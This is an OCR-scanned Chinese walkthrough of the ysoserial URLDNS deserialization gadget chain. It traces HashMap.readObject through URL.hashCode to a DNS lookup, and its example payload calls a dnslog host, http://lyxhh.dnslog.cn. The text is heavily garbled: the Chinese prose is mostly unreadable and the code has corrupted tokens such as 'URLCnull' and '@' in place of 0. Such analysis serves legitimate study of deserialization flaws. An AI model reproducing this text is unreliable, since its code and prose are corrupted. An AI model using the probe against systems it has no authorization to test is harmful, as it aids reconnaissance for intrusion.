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inal String payloadType = args[@]; // URLDNS
final String command = args[1]; //http://lyxhh.dnslog.

EEHIT utils.getPayloadClass("URLDNS"); , 1RIEE
FREZER ysoserial.payloads.URLDNS , FRENISRZAY
Class £X &,

final ObjectPayload payload = payload(Class.newInstance

REBIRHEIZE Class EIFMNAIN R, EFTXTUN
183, URLDNS ZREIE5TH .

final Object object = payload.getObject("http://lyxhh.



EEHIT URLDNS X %A getObject 7535,

W GenermePayloadovs < LSLONS jaws | ) Olbjectiayioed e

package 7 load
—
import
rmy
“true”
L
P public elnas URLINS implomenta Ob joc tFay ] ond Db js
—
bl ect (final String url) throes
fL5treasfiandier handler * new 5ilentiRiStrensasdior(;
- Hathiap Bt = new Haodiag [2F tiarHashmapeiie
T ou = e LR mll. url, bandler

' B B URLEC M, NI SgetObjectil i RN S BN

i
(4} e MURLS @y T ihashCodel -1

getObject FiEH:

URLStreamHandler handler = new SilentURLStreamHandler(

BT URLStreamHandler 3%, ZXZRIEA, FE
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HashMap ht = new HashMap();

81 T HashMap XI5R:



URL u = new URLCnull, "http://lyxhh.dnslog.cn", handle

URL ¥4&:

ht.put(u, "http://lyxhh.dnslog.cn");

¥ URL XZR{EH HashMap #H] key, dnslog it
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Reflections.setFieldValue(u, "hashCode", -1);
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public bytel| calll) throws Exception
return serdalize(object
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URLStreamHandler handler = new
SilentURLStreamHandler(); , ZMREH
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e BI# HashMap X2 HashMap ht = new
HashMap(); , URL X2 URL u = new
URL(null, "http://lyxhh.dnslog.cn",

handler); o

e % URL M&R{EAN HashMap F8 Key,
DNSLOG Mt EN HashMap HRY1E

HashMap.put(u,

"http://lyxhh.dnslog.cn");

o BEURSHIAI
Reflections.setFieldValue(u,
"hashCode", -1); , I®E URL JRHH
RS EE hashCode HH - 1,

e jX[5] HashMap X,
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Serializer.serialize(HashMap object, out);
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private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, ar
s.defaultReadObject(); // HITERANKRFEIILGE
reinitialize(); //¥iAtTEE
if (loadFactor <= @ || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal loac
loadFactor);
s.readInt(); // Read and ignore nun
int mappings = s.readInt(); // Read number of mapi
if (mappings < @)
throw new InvalidObjectException("Illegal mapg
mappings);
else if (mappings > @) { // (if zero, use defaults
// Size the table using given load factor only
// range of 0.25...4.0
float 1f = Math.min(Math.max(@.25f, loadFactot
float fc = (floatdmappings / 1f + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * 1f;
threshold = ((cap < MAXIMUM_CAPACITY && ft < M
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes", "unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[c¢
table = tab;
// Read the keys and values, and put the mappi
for (int 1 = @; i < mappings; i++) {
@SuppressWarnings("unchecked™)
K key = (K) s.readObject(); // E[Hhas
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // &RV
putValChash(Ckey), key, value, false, false

readObject A, STHITRINNRFILAE, EEXR
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XEBEANE#H hash(key) HiER,
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EEHITT key.hashCode() , T key & URL X,
LEHITHIZE URL SIRHFAY hashCode Fik, ARELERIFE,
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s public synchronized int hashCedel()} |

if (hashCode != -1)
return hashCode;

TreeNode<K. V=g) | hashCode
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<" B Variables
+ T |+ this = “httpeffood.r B§8.dnslog.cn*
- Variables debug info not available

EFIMLIRER, EEBEIRINIZET URL 1Y
hashCode FF -1, Bt XESEHEZHANE
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hashCode FHEHSHIIT getHostAddress(URL u) F3
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protected synchronized Inetiddress getHostAddress(URL
if (u hostAddress != oull

return 1, hostAddreas

return mull

{0 InetAddress.getByName(host); , /&31%X DNSLOG
BEK.
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e 7f HashMap 19 readObject A&, &%
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1. N LEBLIZE URLStreamHandler
W&, URL XHRAEAIAEI URLStrea
mHandler IRAEFNL,

URLDNS H1 getObject /3EH,



public Object getObject(final String url) throws Exceg
URLStreamHandler handler = new SilentURLStreamHanc
HashMap ht = new HashMap(Q);
URL u = new URL(Cnull, url, handler);
ht.putCu, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;

URLStreamHandler handler = new SilentURLStreamHandler(

B8lZ T URLStreamHandler 4%,

XEBEENSLFEET SilentURLStreamHandler Z£,

static class SilentURLStreamHandler extends URLStreamt
protected URLConnection openConnection(URL u)
return null;

ks
protected synchronized InetAddress getHostAdd:
return null;

}

SilentURLStreamHandler &4
URLStreamHandler, 57T openConnection,
getHostAddress 7%, FHENIMEST

RIEY% handler 1£i#48 7 URL #i&XK %4,

URL u = new URLCnull, url, handler);



£ URL #i&R %, @R handler 177£, MIHT

this.handler = handler;

BEHIMIT T HashMap BY put 735  ht.put(y,
url); , XEBIEABERT put A&, WTF:
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static final int hash(Object key) |
int h;

return (key == mull) ? 0 : (h = key. hashCode()) {h 16} ;

IR hashCode Fi%:



public synchronized int hashCode() |
if (hashCode != -1)

return hashCode;

hashCode = handler. hashCode ( u: this) ;

return hashCode;

URL X&¥E/E, hashCode {EERIAKR - 1.

ra € URLStreamHandler java € HashMap.jave € URL.jave € Obje
T 4 T [J Match ¢
[ preserve

transient URLStreamHandler handler;

private int hashCode = -1;

EtbZE—)X  HashMap.put B, SN
handler.hashCode(this) , SE¥RIXEAY handler 2
SilentURLStreamHandler B933% , IR

URLStreamHandler.hashCode



LDNS. java &, URLStreamHandler jave € HashMap jave € URL jave € Object.jave € Reflections

@ protected int hashCode(URL u) |
int h = 0;
String protocol = u. getProtocol();
if (protocal != mull)
h += protocel. hashCode() ;
o
(@] InetAddress addr = getHostAddress(u);
if (addr != pull) |

h += addr. hashCode() ;

| else |
String host = u. getHost!l);
if (host != null)

h *+= host. tolewerCase (). hashCode () ;

£ URLStreamHandler.hashCode H fZ7E
getHostAddress() 757%&, ERFIIMEDITE, FH(1X0E
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ht.put(new URLCnull, url), url); -->
putValChash(key), key, value, false, true) -->
hash(key) -->
URL.hashCode() -->
URLStreamHandler.hashCode(this) -->
URLStreamHandler.getHostAddress(u) --> &ixD

{ERAESR/ SilentURLStreamHandler,

URLStreamHandler handler = new SilentURLStreamHandler(
ht.put(new URL(null, url, handler), url); --
putValChash(key), key, value, false, true) -->
hash(key) -->
URL.hashCode() -->
URLStreamHandler .hashCode(this) -->
SilentURLStreamHandler.getHostAddress(u) --:

transient URLStreamHandler handler;

AT handler BYz£E 2 transient, # transient {E1fAY
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®: public abstract class URLStreamHandler

Es\nu'.l_ protected URLConnection openConnection(URL throws [0Exception

/NgE: URLDNS @i URL #i&R 2T %%
SilentURLStreamHandler £3%, ZEXEET
getHostAddress 5%, BAEMRERNTIH, EENIT
HashMap.put BY, ~&fl& DNSLOG &K, FEXE
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2. N LEIZE URL RPN A
&= hashCode R - 1.

£ URL 3I%:63At, hashCode EERIAS - 1.

EEHITT HashMap.put #E, 118 key hash Y, &
#4T URL.hashCode A%,



public synchronized int hashCode() |
if (hashCode != -1)
return hashCode;

hashCode = handler. hashCode( u: this) ;
return hashCode;

H4T5E handler.hashCode(this) , REH ; hashCode
ATEMNE, IZEMAN -17, XER(TETD
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